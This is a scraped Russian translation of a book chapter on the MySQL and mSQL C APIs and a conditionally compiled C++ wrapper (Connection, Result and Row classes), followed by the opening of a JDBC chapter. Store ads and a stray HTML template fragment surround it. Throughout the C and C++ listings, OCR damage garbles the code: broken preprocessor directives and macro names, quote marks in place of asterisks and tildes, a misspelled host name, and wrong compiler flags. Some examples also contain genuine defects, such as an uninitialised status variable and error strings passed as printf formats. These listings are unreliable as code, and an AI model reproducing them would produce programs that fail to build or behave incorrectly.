<IMG SRC="graphics/shark[+$shark{'id'}+].gif" ALIGN=LEFT>

<В>Вид:</b> [+$shark{'species'}+]<br>

<В>Возраст:</b> [+$age{$shark{'age'}}+]<br>

<В>Район </b> [+$shark{'location'}+]<br>

[;endwhile$] [;endif] </ul>

<A HREF="search.html">Hoвый поиск </а>

</body></html>

Болеро
Видео, Музыка, Программы, Игрушки, Книги, Подарки. Доставка курьером, почтой.

Digita.ru
Интернет-Магазин:
Современная Аудио- и Видеотехника.

Gimi.Ru:
бытовая техника, посуда, увлажнители и ионизаторы воздуха, эпиляторы, электро- и гидромассажеры

Porta.Ru
Цифровое Аудио, Фото и Видео, Компьютеры и Связь, Часы, Переводчики и др.


  • Глава №13. С и C++
    • Два API
    • Объектно-ориентированный доступ к базам данных на C++

Глава №13.

С и C++

В этой книге мы рассматриваем несколько разных языков программирования: Python, Java, Perl и С. Из этих языков больше всего трудностей вызывают C/C++. В других языках ваша задача состоит в формировании запроса SQL, передаче этого запроса посредством вызова функции и обработке результирующих данных. В С добавляется очень сложная проблема управления памятью.

Как MySQL, так и mSQL предоставляют С-библиотеки, позволяющие создавать приложения для работы с базами данных MySQL и mSQL. В действительности API MySQL ведет свое происхождение от mSQL, благодаря чему опыт программирования в одном API позволяет легко перейти к другому. Однако, как мы видели в первой части, MySQL значительно богаче функциями, чем mSQL. Естественно, эти дополнительные функции приводят к некоторым различиям между двумя API. В данной главе мы исследуем эти различия и разберем детали каждого API при создании объектно-ориентированного C++ API, который можно условно компилировать для работы с каждым из двух API.

Два API

Используете ли вы С или C++, С API для MySQL и mSQL являются шлюзами к базе данных. Однако их применение может очень различаться в зависимости от того, используете ли вы С или объектно-ориентированные возможности C++. К программированию баз данных на С нужно подходить в последовательном стиле, когда вы пошагово просматриваете свое приложение, чтобы определить, где производятся обращения к базе данных, а где необходимо произвести освобождение ресурсов. Напротив, объектно-ориентированный C++ требует объектно-ориентированного интерфейса к выбранному вами API. Тогда объекты этого API могут взять на себя ответственность за управление ресурсами базы данных.

В таблице 13-1 сопоставлены вызовы функций каждого API. Детали использования этих функций мы рассмотрим позднее в этой главе. Сейчас вы можете лишь бегло сравнить оба API и отметить, какие возможности они предоставляют. Разумеется, в справочном разделе перечислены все эти методы с подробным описанием прототипов, возвращаемых значений и комментариями.

Таблица 13-1. С API для MySQL и mSQL

MySQL | mSQL
mysql_affected_rows() | CM. msqlQuery()
mysql_close() | msqlClose()
mysql_connect() | msqlConnect()
myql_create_db() |
mysql_data_seek() | msqlDataSeek()
mysql_drop_db() |
mysql_eof() |
mysql_error() |
mysql_fetch_field() | msqlFetchField()
mysql fetch lengths() |
mysql_fetch_row() | msqlFetchRow()
mysql_field_count() |
mysql_field_seek() | msqlFieldSeek()
mysql_free_result() | msqlFreeResult()
mysql_get_client_info() |
mysql get host_info() |
mysql_get_proto_info() |
mysql_get_server_info() |
mysql_init() |
mysql_insert_id() |
mysql_list_dbs( ) | msqlListDBs()
mysql_list_fields() | msqlListFields()
 | msqlListIndex()
mysql_list_processes() |
mysql_list_tables() | msqlListTables()
mysql_num_fields() | msqlNumFields()
mysql_num_rows() | msqlNumRows()
mysql_query() | msqlQuery()
mysql_real_query() |
mysql_reload() |
mysql_select_db() | msqlSelectDB()
mysql_shutdown() |
mysql_stat() |
mysql_store_result() | msqiStoreResult()
mysql_use_result() |

API для MySQL значительно обширнее, чем API для mSQL, ввиду большего числа функций в MySQL. Во многих случаях MySQL фактически только обеспечивает программный интерфейс к функциям администрирования баз данных, которые имеются в той и другой СУБД. Просто изучив названия функций, можно прийти к выводу, что любое разрабатываемое вами приложение баз данных должно, как минимум, делать следующее:

  1. Осуществлять соединение.
  2. Выбирать БД.
  3. Посылать запрос.
  4. Получать строку.
  5. Получать поле.
  6. Закрываться.

В примере 13-1 показана простая команда select, извлекающая данные из базы данных MySQL с помощью MySQL С API.

Пример 13-1. Простая программа, извлекающая все данные из тестовой базы и отображающая их

#include <sys/time. h>

#include <stdio.h>

#include <mysql.h>

int main(char **args) {

MYSQL_RES 'result;

MYSQL_ROW row;

MYSQL 'connection, mysql;

int state;

/* соединиться с базой данных mySQL на athens.imaginary.com */

mysql_init(&mysql);

connection = mysql_real_connect(&mysql,

"alMens.imaginary.com",

0, 0,

"db_test", 0, 0);

/* проверить ошибки соединения */

if( connection == NULL ) {

/* вывести сообщение об ошибке */

printf(mysql_error(&mysql));

return 1;

}

state = mysql_query(connection,

"SELECT test_id, test_val FROM test");

if( state != 0 ) {

printf(mysql_error(connection));

return 1; }

/* прежде чем делать другие вызовы,

* необходимо вызвать mysql_store_result()

*/

result = mysql_store_result(connection);

printf("Строк: %d\n", mysql_num_rows(result));

/* обработать каждую строку результирующего набора */

while( ( row = mysql_fetch_row(result)) != NULL )

{

printf("id: %s, значение: %s\n", (row[0] ? row[0] : "NULL"), (row[1] ? row[1] : "NULL")); }

/* освободить ресурсы, использовавшиеся результирующим набором */

mysql_free_result(result); /* закрыть соединение */

mysql_close(connection);

printf("Koнец, работы.\n");

}

Назначение файлов mysql.h и stdio.h, включаемых директивой ftinclude, должно быть очевидно. Файл заголовков mysql.h содержит прототипы и переменные, необходимые для MySQL, a stdio.h содержит прототип для printf (). Файл заголовков sys/time.h приложением фактически не используется. Он нужен из-за mysql.h, так как файл для MySQL использует определения из sys/time.h, не включая их. Для компиляции программы с помощью компилятора GNU С используйте командную строку:

gcc -L/usr/local/mysql/lib -I/usr/local/mysql/include -о select

select.c\

-Imysql -Insl -Isocket

Разумеется, в этой строке вместо /usr/local/mysql нужно задать тот каталог, в который вы установили MySQL.

Функция main() выполняет те шаги, которые мы перечислили раньше: соединяется с сервером, выбирает базу данных, выдает запрос, обрабатывает его результаты и освобождает использованные ресурсы. По ходу главы мы подробно остановимся на каждом из этих этапов. Сейчас посмотрите на этот код, лишь для того чтобы почувствовать, как он работает. Кроме того, сравните этот пример с той же программой, написанной для mSQL, которая представлена в примере 13-2.*

Пример 13-2. Простое приложение выборки данных для mSQL

#include <sys/time.h>

#include <stdio.h>

#include <msql.h>

int main(char **args) {

int connection, state;

m_result *result;

m_row row;

/* соединиться с базой данных mSOL на athens.imaginary.com */

state = msqlConnect("athens.imaginary.com");

/* проверить ошибки соединения */

if( state == -1 )

{

/* вывести сообщение об ошибке, хранящееся в MsqlErrMsg */

printf(msqlErrMsg);

return 1;

}

else

{

/* описателем соединения является значение, возвращаемое msqlConnect() */

connection = state; }

/* выбрать используемую базу данных */

state = msqlSelectDB(connection, "db_test");

/* опять-таки, -1 указывает на ошибку */

if( state == -1 )

{

printf(msqlErrMsg);

/* закрыть соединение перед выходом */

msqlClose(connection);

return 1; }

state = msqlQuery(connection, "SELECT test_id, test_val FROM test");

if( state == -1 )

{

printf(msqlErrMsg);

return 1;

}

else

{

printf("Строк: %d\n", state);

}

/* прежде чем делать новый вызов Query(),

* необходимо вызвать msqlStoreResult()

*/

result = msqlStoreResult();

/* обработать каждую строку результирующего набора */

while( ( row = msqlFetchRow(result)) != NULL )

{

printf("id: %s, значение: %s\n",

(row[0] ? row[0] : "NULL"),

(row[1] ? row[1] : "NULL"));

}

/* освободить ресурсы, использовавшиеся результирующим набором */

msqlFreeResult(result); /* закрыть соединение */

msqlClose(connect ion);

printf("Конец работы.\n"); }

Эти программы почти идентичны. Кроме разных имен функций, есть лишь несколько заметных отличий. Сильнее всего бросается в глаза различие в соединении с базой данных, которое проявляется в двух отношениях:

  • В MySQL соединение осуществляется за один шаг, а в mSQL - за два.*
  • Для MySQL требуются имя пользователя и пароль, а для mSQL -нет.

Как указывалось ранее в этой книге, MySQL поддерживает сложную схему авторизации с именами пользователей и паролями. Напротив, в mSQL применяется простая система, использующая ID пользователя процесса, соединяющегося с базой данных. Более надежная схема MySQL гораздо привлекательнее в среде клиент/сервер, но также и значительно более сложна в администрировании. Для разработчиков приложений она означает необходимость передачи в вызове mysql_real_connect() имени пользователя и пароля при работе с MySQL помимо имени сервера, используемого в mSQL.

Первый аргумент API для установления соединения с MySQL может показаться необычным. По сути, это способ отслеживать все вызовы, иначе никак не связанные с соединением. Например, если вы пытаетесь установить соединение, и попытка неудачна, вам нужно получить сообщение о соответствующей ошибке. Однако функция MySQL

mysql_error() требует задания указателя на действующее соединение с базой данных MySQL. Такое соединение обеспечивается изначально созданным нулевым соединением. Однако у вас должна быть действующая ссылка на это значение в течение всего времени существования вашего приложения - вопрос большой важности в более структурированной среде, чем простое приложение вида «соединился, сделал запрос, закрылся». Примеры на C++ далее в этой главе подробнее рассматривают эту тему.

Два другие различия в API относятся к тому, как производятся обработка ошибок и подсчет числа записей в результирующем наборе. API mSQL создает глобальную переменную для хранения сообщений об ошибках. Из-за многопоточности MySQL такая глобальная переменная не смогла бы действовать в его API. Поэтому в нем используется функция mysql_error() для извлечения сообщений об ошибках, связанных с последней ошибкой, порожденной указанным соединением.

API для соединения и обработки ошибок - два пункта, в которых MySQL отличается от mSQL для обеспечения функциональности, отсутствующей в mSQL. Подсчет числа результирующих записей в mSQL делается иным способом для обеспечения лучшего интерфейса, нежели предоставляемый MySQL. А именно: при посылке SQL-запроса в msqlQuery() возвращается число задействованных строк (или -1 в случае ошибки). Таким образом, подсчет измененных строк при обновлении и строк в возвращаемом результирующем наборе при запросе используют одну и ту же парадигму. В MySQL же приходится использовать различные парадигмы. При запросе на получение данных нужно передать результирующий набор функции mysql_nuoi_rows() , чтобы получить число строк в результирующем наборе. При обновлении нужно вызвать другую функцию API, mysql_affected_rows() . В то время как msqlQuery() возвращает число строк, удовлетворивших предложению WHERE при обновлении, mysql_affected_rows() сообщает о числе фактически измененных строк. И наконец, в mSQL есть метод msqlNumRows() , обеспечивающий тот же интерфейс для подсчета результирующего набора, что и в MySQL, но в нем нет аналога для mysql_affected_rows() .

Объектно-ориентированный доступ к базам данных на C++

С API прекрасно работают в процедурном программировании на С. Однако они не очень хорошо вписываются в объектно-ориентированную среду C++. Чтобы показать, как реально использовать в программе эти два API, в оставшейся части главы мы создадим с их помощью C++ API для объектно-ориентированного программирования баз данных.

Рис. 13-1. Библиотека объектно-ориенитрованного доступа к базе данных

Поскольку мы занимаемся освещением доступа к базам данных MySQL и mSQL, то сосредоточимся на специфичных для MySQL и mSQL темах и не будем пытаться создать совершенный общий C++ API. Работу с MySQL и mSQL описывают три главных понятия: соединение, результирующий набор и строки результирующего набора. Мы будем использовать эти понятия как ядро объектной модели, на которой будет основываться наша библиотека. Рис. 13-1 показывает эти объекты на UML-диаграмме.*

Соединение с базой данных

В любой среде доступ к базе данных начинается с соединения. Как вы видели в первых двух примерах, MySQL и mSQL по-разному представляют одно и то же понятие - соединение с базой данных. Создание нашей объектно-ориентированной библиотеки мы начнем с абстрагирования от этого понятия и создания объекта Connection . Объект Connection должен уметь устанавливать соединение с сервером, выбирать нужную базу данных, посылать запросы и возвращать результаты. Пример 13-3 показывает заголовочный файл, в котором объявлен интерфейс к объекту Connection.

UML - это новый Унифицированный язык моделирования, созданный Гради Бучем, Айваром Якобсоном и Джеймсом Рамбо (Grady Booch, Ivar Jacobson, James Rumbaugh) в качестве нового стандарта для документирования объектно-ориентированного проектирования и анализа.

Пример 13-3. Заголовок класса Connection

#ifndef l_connection_h

#define l_connection_h

#include <sys/time.h>

#if defined(HAS_MSQL)

#include <msql. h>

#lelif defined(HAS_MYSQL)

#include <mysql.h>

#endif

#include "result.h"

class Connection { private:

int affected_rows;

#if defined(HAS_MSQL)

int connection;

#elif defined(HAS_MYSQL)

MYSQL mysql;

MYSQL 'connection; tfelse

#error База данных не определена,

#endif

public:

Connection(char *, char *);

Connection(char *, char *, char *, char *);

~Connection();

void Close();

void Connect(char 'host, char *db, char *uid, char *pw);

int GetAffectedRows();

char. *GetError();

int IsConnected();

Result *Query(char *);

};

#endif // l_connection_h

Методы, которые предоставляет класс Connection, одинаковы вне зависимости от используемой СУБД. Однако спрятанными в глубине класса окажутся закрытые члены, специфичные для той библиотеки, с которой он будет компилироваться. При установлении соединения единственными различными данными-членами станут те, которые представляют соединение с базой данных. Как отмечалось, mSQL для представления соединения использует величину типа int, a MySQL использует указатель на MYSQL и дополнительную величину типа MYSQL для установления соединения.

Установление соединения с базой данных

Всем приложениям, которые мы будем создавать с использованием этого API, для соединения с базой данных потребуется только создать новый экземпляр класса Connection с помощью одного из его конструкторов. Аналогично, приложение может отсоединиться, уничтожив экземпляр Connection . Оно может даже повторно использовать экземпляр Connection с помощью прямых обращений к методам Close() и Соnnect(). Пример 13-4 показывает реализацию конструкторов и метода Connect().

Пример 13-4. Соединение с MySQL и mSQL в классе Connection

#include "connection.h"

Connection::Connection(char *host, char *db) {

#if defined(HAS_MSQL)

connection = -1;

#elif defined(HASJIYSQL)

connection = (MYSQL *)NULL;

#else

#error Het соединения с базой данных,

#endif

Connect(host, db, (char *)NULL, (char *)NULL); }

Connection::Connection(char 'host, char *db, char *uid, char *pw) {

#if defined(HASJISQL)

connection = -1;

#elif defined(HASJIYSQL)

connection = (MYSQL *)NULL;

#else

#error Нет соединения с базой данных,

#endif

Connect(host, db, uid, pw);

}

void Connection: :Connect(char'host, char *db, char *uid, char *pw)

{

int state;

if( IsConnected() )

{

throw "Соединение уже установлено.";

}

#if defined(HAS_MSQL)

connection = msqlConnect(host);

state = msqlSelectDB(connection, db);

#elif defined (HAS.MYSQL) mysql_init(&mysql);

connection = mysql_real_connect(&mysql, host,

uid, pw,

db, 0, 0); #else

#error Нет соединения с базой данных.

#endif

if( !IsConnected() )

{

throw GetError();

}

if( state < 0 )

{

throw GetError();

}

}

Оба конструктора разработаны с учетом различия параметров, требуемых для соединений MySQL и mSQL. Тем не менее эти API должны разрешать обоим конструкторам работать с каждой из баз данных. Это достигается игнорированием ID пользователя и пароля при вызове конструктора с четырьмя аргументами. Аналогично при вызове конструктора с двумя аргументами, серверу MySQL в качестве значений ID пользователя и пароля передаются значения null. Фактическое соединение с базой данных происходит в методе Connect ().

Метод Connect() инкапсулирует все шаги, необходимые для соединения. Для MySQL он вызывает метод mysql_real_connect() . Для mSQL жe сначала вызывается метод msqlConnect(), а затем msqlSelectDB() . При неудаче на любом из этапов Connect() возбуждает исключительную ситуацию.

Отсоединение от базы данных

Другой логической функцией класса Connection является отсоединение от базы данных и освобождение скрытых от приложения ресурсов. Эту функцию осуществляет метод Close (). В примере 13-5 показано, как происходит отсоединение от MySQL и mSQL.

Пример 13-5. Освобождение ресурсов базы данных

Connection::"Connection() {

if( IsConnected() ) {

Close();

} }

void Connection::Close() {

if( !IsConnected() )

{

return;

}

#if defined(HAS_MSQL)

msqlClose(connection);

connection = -1;

#elif defined(HAS_MYSQL)

mysql_close(connection);

connection = (MYSQL *)NULL;

#else

#error Нет соединения с базой данных, tfendif }

Методы mysql_close() и msqlClose() освобождают ресурсы, используемые соединениями с MySQL и mSQL соответственно.

Выполнение обращений к базе данных

В промежутке между открытием соединения и закрытием базе данных обычно посылаются команды. Класс Connection делает это с помощью метода Query(), принимающего команду SQL в качестве аргумента. Если команда является запросом, она возвращает экземпляр класса Result из объектной модели, представленной на рио. 13-1. Если же команда обновляет данные, то метод возвращает NULL и устанавливает значение affected_rows равным количеству строк, в которых произведены изменения. В примере 13-6 показано, как класс Connection обрабатывает запросы к базам данных MySQL и mSQL.

Пример 13-6. Обработка запроса к базе данных

Result "Connection::Query(char *sql) { T_RESULT *res; int state;

// Если нет соединения, делать нечего

if( !lsConnected(-) ) { throw "Соединения нет.";

}

// Выполнить запрос

#if defined(HAS_MSQL)

state = msqlQuery(connection, sql);

#elif defined(HAS_MYSQL)

state = mysql_query(connection, sql);

#else

#error Нет соединения с базой данных,

#endif

// Если произошла ошибка

if( state < 0 ) { throw GetError();

}

// Забрать результаты, если таковые имеются

#if defined(HAS_MSQL)

res = msqlStoreResult();

#elif defined(HAS_MYSQL)

res = mysql_store_result(connection);

#else

#error Нет соединения с базой данных,

#endif

// Если результат null, это было обновление или произошла ошибка

// Примечание: mSQL не порождает ошибки в msqlStoreResult()

if( res == (T_RESULT *)NULL ) {

// Установить значение affected_rows равным возвращенному msqlQuery()

#if defined(HAS_MSQL)

affected_rows = state;

#elif defined(HAS_MYSQL)

// field_count != 0 означает, что произошла ошибка

int field_count = mysql_num_fields(connection);

if( field_count != 0 )

{

throw GetError();

}

else

{

// Запомнить affected_rows

affected_rows = mysql_affected_rows(connection); }

#else

#error Нет соединения с базой данных,

#endif

//Возвратить NULL в случае обновления

return (Result *)NULL; }

// Для запроса возвратить экземпляр Result

return new Result(res); }

В начале обращения к базе данных делается вызов метода mysql_query() или msqlQuery() с передачей ему команды SQL, которую нужно выполнить. В случае ошибки оба API возвращают отличное от нуля значение. На следующем этапе вызываются mysql_store_result() или msqlStoreResult() , чтобы проверить, получены ли результаты, и сделать эти результаты доступными приложению. В этом месте две СУБД несколько отличаются в деталях обработки.

В mSQL API метод msqlStoreResult() не генерирует ошибки. Эту функцию приложение использует для того, чтобы поместить полученный результирующий набор в хранилище, управлять которым будет приложение, а не mSQL API. Иными словами, при вызове msqlQuery() результаты запоминаются во временной области памяти, управляемой API. Последующие вызовы msqlQuery() затирают эту область памяти. Чтобы сохранить результат в области памяти вашего приложения, нужно вызвать msqlStoreResult() .

Поскольку метод msqlStoreResult() не генерирует ошибку, при его вызове нужно рассматривать две возможности. Если обращение к базе данных было запросом, создавшим результирующий набор, то msqlStoreResult() возвращает указатель на структуру m_result, с которой может работать ваше приложение. При всех других типах обращения (обновление, вставка, удаление или создание) msqlStoreResult() возвращает NULL. Узнать количество строк, обработанных неизвлекающим данные запросом, можно из значения, возвращенного исходным вызовом msqlQuery() .

Подобно msqlStoreResult() , метод mysql_store_result() используется для запоминания данных, возвращенных запросом, в области памяти приложения, но, в отличие от версии для mSQL, необходимо создать для mysql_store_result() некий обработчик ошибок. Именно, значение NULL, возвращенное mysql_store_result() , может означать и то, что запрос не предполагал возвращение результирующего набора, и ошибку при получении последнего. Вызов метода mysql__num_f ields() позволит определить истинную причину. Отличное от 0 значение счетчика полей свидетельствует о происшедшей ошибке. Число измененных строк можно определить при обращении к методу mysql_affected_rows() .*

Другие методы класса Connection

По всему классу Connection разбросаны два вспомогательных метода, IsConnected() и GetError(). Проверить состояния соединения просто — достаточно посмотреть значение атрибута connection. Оно должно быть не NULL для MySQL или отличным от -1 для mSQL. Напротив, сообщения об ошибках требуют некоторых пояснений.

Извлечение сообщений об ошибках для mSQL просто и безыскусно, нужно лишь использовать значение глобальной переменной msqlErrMsg . Ее значение точно совпадает с тем, что возвращает от mSQL метод GetError(). С MySQL дело обстоит несколько сложнее. При обработке любых сообщений об ошибках необходимо учитывать многопоточность. В многопоточной среде обработка ошибок осуществляется путем получения сообщений об ошибках с помощью функции mysql_error() . В примере 13-7 показаны обработка ошибок для MySQL и mSQL в методе GetError(), а также проверка соединения в методе IsConnected() .

Пример 13-7. Чтение сообщений об ошибках и другие вспомогательные задачи класса Connection

int Connection::GetAffectedRows() {

return affected_rows; }

char 'Connection::GetError() {

#if defined(HAS_MSQL)

return msqlErrMsg:

#elif defined(HAS_MYSQL)

if( IsConnected() ) {

return mysql_error(connection); }

else {

return mysql_error(&mysql); }

#else

#error Нет соединения с базой данных,

#endif }

int Connection::IsConnected() {

#if defined(HAS_MSQL)

return !(connection < 0);

#elif defined(HAS_MYSQL)

return !(iconnection);

#else

#error Нет соединения с базой данных,

#endif

)

Проблемы при обработке ошибок

Хотя обрабатывать ошибки, как это описано выше, несложно благодаря инкапсуляции обработки в простой вызов API в классе Connection , следует остерегаться некоторых потенциальных проблем. Во-первых, при работе с mSQL обработка ошибок осуществляется глобально в пределах приложения. Если приложение поддерживает несколько соединений, значение msqlErrMsg относится к последней ошибке последнего вызова какой-либо функции mSQL API. Следует также учесть, что хотя mSQL - однопоточное приложение, можно создавать многопоточные приложения, использующие mSQL, но проявлять крайнюю осторожность при извлечении сообщений об ошибках. Именно, необходимо написать собственный API, корректно работающий с потоками поверх mSQL С API, который копирует сообщения об ошибках и связывает их с соответствующими соединениями.

Обе СУБД управляют и сохраняют сообщения об ошибках внутри своих соответствующих API. Поскольку вы не распоряжаетесь этой деятельностью, может возникнуть другая проблема, связанная с запоминанием сообщений об ошибках. В нашем C++ API обработка ошибок . происходит сразу после их возникновения и до того, как приложение сделает новое обращение к базе данных. Если мы хотим продолжить обработку и лишь позднее заняться ошибками, сообщение об ошибке следует скопировать в область памяти нашего приложения.

Результирующие наборы

Класс Result абстрагируется от понятий результатов MySQL и mSQL. Он должен обеспечивать доступ как к данным результирующего набора, так и к сопутствующим этому набору метаданным. Согласно объектной модели на рис. 13-1, наш класс Result будет поддерживать циклический просмотр строк результирующего набора и получение числа строк в нем. Ниже в примере 13-8 приведен заголовочный файл класса Result.

Пример 13-8. Интерфейс класса Result в result.h

#ifndef 1_result_h

#define 1_result_h

#include <sys/time.h>

#if defined(HASJSQL)

#include <msq1.h>

#elif defined(HAS_MYSQl)

#include <mysq1.h>

#endif

#include "row.h"

class Result { private:

int row_count;

T_RESULT *result;

Row *current_row;

public:

Result(T_RESULT *);

~Result();

void Close();

Row *GetCurrentRow();

int GetRowCount();

int Next(); };

#endif // l_result_h

Перемещение по результатам

Наш класс Result позволяет работать с результирующим набором построчно. Получив экземпляр класса Result в результате обращения к методу Query() , приложение должно последовательно вызывать Next() и GetCurrentRow(), пока очередной Next() не возвратит 0. Пример 13-9 показывает, как выглядят эти действия для MySQL и mSQL.

Пример 13-9. Перемещение по результирующему набору

int Result::Next() { T_ROW row;

if( result == (T_RESULT *)NULL ) {

throw "Результирующий набор закрыт.";

}

#if defined(HAS_MSQL)

row = msqlFetchRow(result);

#elif defined(HAS_MYSQL)

row = mysql_fetch_row(result);

#else

#error Нет соединения с базой данных,

#endif if( ! row )

{

current_row = (Row *)NULL;

return 0;

}

else

{

current_row = new Row(result, row);

return 1;

}

}

Row 'Result::GetCurrentRow()

{

if( result == (T_RESULT *)NULL )

{ throw "Результирующий набор закрыт.";

}

return current_row; }

Заголовочный файл row.h в примере 13-11 определяет T_ROW и T_RESULT в зависимости от того, для какого ядра базы данных компилируется приложение. Перемещение к следующей строке в обеих базах данных осуществляется одинаково и просто. Вы вызываете mysql_fetch_row() или msqlFetchRow() . Если вызов возвращает NULL, значит, необработанных строк не осталось.

В объектно-ориентированной среде это единственный тип навигации, которым вы должны пользоваться. API для базы данных в объектно-ориентированном программировании существует лишь для обеспечения извлечения данных, а не их обработки. Обработка данных должна быть заключена в объектах доменов. Однако не все приложения являются объектно-ориентированными. MySQL и mSQL предоставляют функции, позволяющие перемещаться к определенным строкам в базе данных. Это методы mysql_data_seek() mnsqlDataSeek() соответственно.

Освобождение ресурсов и подсчет строк

Приложения баз данных должны освобождать после себя ресурсы. Обсуждая класс Connection, мы отметили, как результирующие наборы, порождаемые запросом, помещаются в память, управляемую приложением. Метод Close() класса Result освобождает память, занятую этим результатом. Пример 13-10 показывает, как освободить ресурсы, занятые результатом, и получить количество строк в нем.

Пример 13-10. Освобождение ресурсов и подсчет числа строк

void Result::Close() {

if( result == (T_RESULT *)NULL ) { return;

}

#if defined(HAS_MSQL)

msqlFreeResult(result);

#elif defined(HAS_MYSQL)

mysql_free_result(result);

#else

#error Нет соединения с базой данных, ftendif

result = (TJESULT *)NULL; '

}

int Result::GetRowCount()

{

if( result == (T_RESULT *)NULL )

{

throw "Результирующий набор закрыт.";

}

if( row_count > -1 )

{

return row_count;

}

else

{

#if defined(HAS_MSQL)

row_count = msqlNumRows(result);

#elif defined(HAS_MYSQL)

row_count = mysql_num_rows(result);

#else

#error Нет соединения с базой данных,

#endif

return row_count;

}

}

Строки

Отдельная строка результирующего набора представляется в нашей объектной модели классом Row. Класс Row позволяет приложению извлекать отдельные поля строки. В примере 13-11 показано объявление класса Row.

Пример 13-11. Объявление класса Row в row.h

#ifndef l_row_h

#define l_row_h

#include <sys/types.h>

#if defined(HAS_MSQL)

#include <msql.h>

#define T_RESULT m_result

#define T_ROW m_row

#elif defined(HAS_MYSQL)

#include <mysql.h>

#define T_RESULT MYSQL_RES

#define T_ROW MYSQL_ROW

#endif

class Row { private:

T_RESULT 'result;

T_ROW fields;

public:

Row(T_RESULT *, T_ROW);

~Row();

char *GetField(int);

int GetFieldCount();

int IsClosed();

void Close();

};

#endif // l_row_h

В обоих API есть макросы для типов данных, представляющие результирующий набор и строку внутри него. В обоих API строка является массивом строк, содержащих данные этой строки, и ничем более. Доступ к этим данным осуществляется по индексу массива в порядке, определяемом запросом. Например, для запроса SELECT user_id , password FROM users индекс 0 указывает на имя пользователя и индекс 1 -на пароль. Наш C++ API делает это индексирование несколько более дружественным для пользователя. GetField(1) возвратит первое поле, или f ields[0]. Пример 13-12 содержит полный листинг исходного кода для класса Row.

Пример 13-12. Реализация класса Row

#include <malloc.h>

#include "row.h"

Row::Row(T_RESULT *res, T_ROW row) {

fields = row;

result = res; }

Row::"Row() {

if( ! IsClosed() ) {

Close();

}

}

void Row::Close() {

if( IsClosed() ) {

throw "Строка освобождена.";

}

fields = (T_ROW)NULL;

result = (T_RESULT *)NULL;

}

int Row::GetFieldCount()

{

if( IsClosed() )

{

throw "Строка освобождена.";

} #if defined(HASJISQL)

return msqlNumFields(result);

#elif defined(HAS_MYSQL)

return mysql_num_fields(result);

#else

#error Нет соединения с базой данных,

#endif }

// При вызове этого метода нужно быть готовым

// к тому, что может быть возвращен

NULL, char *Row::GetField(int field)

{

if( IsClosed() )

{

throw "Строка освобождена.";

}

if( field < 1 || field > GetFieldCount() .)

{ throw "Индех лежит вне допустимых значений.";}

return fields[field-1]; }

int Row::IsClosed() {

return (fields == (T_ROW)NULL); }

Пример приложения, использующего эти классы C++, прилагается к книге.

Поиск книг в интернет магазине Болеро

Поиск DVD в интернет магазине DVD DOM
Внимание! Money-Hunting.Ru - Интересная Online Игра с Денежными Призами.


  • Глава №14. Java и JDBC
    • Что такое JDBC?
    • Простой доступ к базе данных
    • Динамический доступ к базе данных
    • Серверное приложение гостевой книги

Глава №14.

Java u JDBC

В главе 13 «Си C++», мы познакомили вас с С API для MySQL и mSQL. К несчастью, каждый API позволяет писать программы только для той базы данных, которую он поддерживает. Если вы собираетесь переносить приложение между MySQL и mSQL или, того хуже, хотите, чтобы оно работало на Oracle, Sybase или с любой другой СУБД, вам необходимо переписать свой код так, чтобы он использовал фирменный API этого ядра. Однако Java-программисты по большей части избавлены от проблем переносимости на другую базу данных. У них есть единый API, Java DataBase Connectivity API (JDBC), обеспечивающий их унифицированным интерфейсом ко всем SQL-базам данных.

Поскольку JDBC является единым интерфейсом ко всем базам данных, достаточно изучить его, чтобы писать приложения, которые будут работать как с MySQL, так и с mSQL. На самом деле, если должным образом использовать JDBC, то написанные вами на Java приложения смогут работать с любой СУБД. Если у вас есть доступ к другим базам данных, кроме MySQL и mSQL, можете проверить верность этого утверждения, запустив примеры данной главы с другой базой данных.

Для чтения этой главы предполагается знание основ языка программирования Java и лежащих в его основе концепций. Если такой подготовки у вас нет, настоятельно рекомендуем посмотреть «Exploring Java» (O'Reilly & Associates, Inc.). Узнать более подробно о том, как создавать многоуровневые приложения баз данных, о чем мы рассказывали в главе 8 «Архитектуры приложений баз данных», можно из книги «Database Programming with JDBC and Java» (O'Reilly & Associates, Inc.).

Что такое JDBC?

Как и все Java API, JDBC является набором классов и интерфейсов, в совокупности поддерживающих определенный набор функций. В случае JDBC эти функции обеспечивают доступ к базе данных. Классы и интерфейсы, составляющие JDBC API, являются, таким образом, абстракциями понятий, общих при доступе к базам данных любого типа. Например, Connection является интерфейсом Java, представляющим соединение с базой данных. Аналогично ResultSet представляет результирующий набор данных, возвращаемый командой SQL SELECT. Классы, образующие JDBC API, находятся в пакете Java, sql, который был введен Sun в JDK 1.1.

Естественно, что конкретные детали доступа к базе данных зависят от ее изготовителя. JDBC фактически не имеет дела с этими деталями. Большая часть классов в пакете Java.sql является интерфейсами без реализации. Реализация этих интерфейсов осуществляется производителем базы данных в виде драйвера JDBC. В качестве программиста баз данных вам нужно знать очень немногое относительно драйвера, который вы используете, — все остальное делается через интерфейсы JDBC. Специфическая информация о базе данных, которая необходима для использования JDBC, включает в себя:

  • URL для драйвера JDBC.
  • Имя класса, реализующего Java. sql. Driver.

В новую спецификацию JDBC 2.0 включено необязательное для реализации производителями баз данных стандартное расширение API. Если поставщик вашей базы данных JDBC реализовал это стандартное расширение, вам даже нет необходимости знать JDBC URL или реализацию класса Driver. Это расширение предусматривает наличие класса DataSource, который можно найти по имени в каталоге с поддержкой JNDI.

Оба эти элемента можно получить во время выполнения - из командной строки или файла свойств. Сам код программы не ссылается на эти два зависящие от реализации элемента. Мы разъясним, что делают JDBC URL и класс Driver в тех параграфах, где будем рассказывать о соединении с базами данных. На рисунке 14-1 представлена схема интерфейсов JDBC.

JNDI - Java Naming and Directory Interface (интерфейс имен и каталогов Java) API. Он позволяет запоминать объекты Java в службе имен и каталогов, такой как сервер Lightweight Directory Access Protocol (облегченный протокол доступа к каталогам - LDAP), и находить их по имени.

Рис. 14-1. Классы и интерфейсы, входящие в JDBC API

Соединение с базой данных

Прежде всего нужно соединиться с базой данных. Один из немногих реализованных в пакете Java. sql. package классов - это класс DriverManager. Он поддерживает список реализаций JDBC и обеспечивает создание соединений с базами данных на основе сообщаемых ему JDBC URL. URL для JDBC имеет вид jdbc:protocol:subprotocol. Он сообщает DriverManager, с какой СУБД нужно соединиться, и передает ему данные, необходимые для осуществления соединения.

